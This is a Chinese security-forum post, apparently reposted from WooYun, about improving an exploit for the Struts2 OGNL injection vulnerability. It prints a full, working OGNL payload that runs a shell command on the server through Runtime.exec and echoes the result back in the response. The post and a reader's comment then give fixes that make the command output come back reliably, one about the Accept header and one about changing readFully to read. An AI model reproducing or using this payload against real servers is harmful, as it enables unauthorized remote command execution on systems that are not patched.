关于struts2的漏洞原理,空虚浪子心分析的已经非常详尽了。

我这里只是对于构造exp的补充。

现在流传的exp 大致写法和我之前在http://www.wooyun.org/bugs/wooyun-2010-08994是类似的,可以进行精简。

gainover说道有这样的问题。

2012-06-29 13:57 | gainover (核心白帽子 | Rank:716 漏洞数:35 | 工具猫网络-专注于脚本开发,小型桌面应用程...) 0

说明一下,我不懂java,那工具,我只是在理解的基础上抄了一遍这个帖子里的exp:http://www.wooyun.org/bugs/wooyun-2012-08281 ,另外在测试过程中我发现,这个exp并不是万能的,有些网站会发生无回显的现象,虽然找到不是很好的解决办法,但原因尚不明(非补丁原因)。

开始以为是因为gainover同学写的exp有些瑕疵。

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

最后没有把 myout这个变量 close释放,之前生成myres=new byte[51020] 太大,产生大量空字节的编码,导致资源无法释放或者客户端无法解析导致。

但是,一切不经证明的理论都是假象。

加入myout.getWriter.close() 结果还是存在同样的问题。

去查阅了 java的垃圾回收机制,确实手动释放和自动回收是效果一样的。

问题还是在:

没办法 继续fuzzer

最后定在这一个点上

accept:*/*

查看http 1.1的协议

Accept——Accept = "Accept" ":" #( media-range [ accept-params ] )
media-range = ( "*/*"| ( type "/" "*" )| ( type "/" subtype )) *( ";" parameter )
accept-params = ";" "q" "=" qvalue *( accept-extension )
accept-extension = ";" token [ "=" ( token | quoted-string ) ]

*/* 默认是客户端接收任意类型

Accept: text/*, text/html, text/html; level=1, */*

accept 拥有下面的优先顺序:

text/html; level=1 
text/html 
text/* 
*/*

使用老式的

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

是很稳定不会出现问题的。

而直接使用accept:*/*  则会间歇的出现 response.GetResponseStream 为null的现象。

可能是服务端对accept设置所致。

至于检测判断漏洞方法有很多种,这里还是不贴了。


转自:http://zone.wooyun.org/content/491

相关评论:

tmp | 2012-07-05 00:55

呵呵....楼主有没想过可能是代理配置的问题?

 

gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-07-05 08:01

=。= 经过我测试, 如果把 exp 里的 readFully 改为 read , 并且在输出回显内容之前,先输出某些内容,例如\43myout.getWriter().println(\\'the result is\\') ,再输出回显的mystr, 就可以解决这个问题。 原因不明

 

[点此查看更多评论]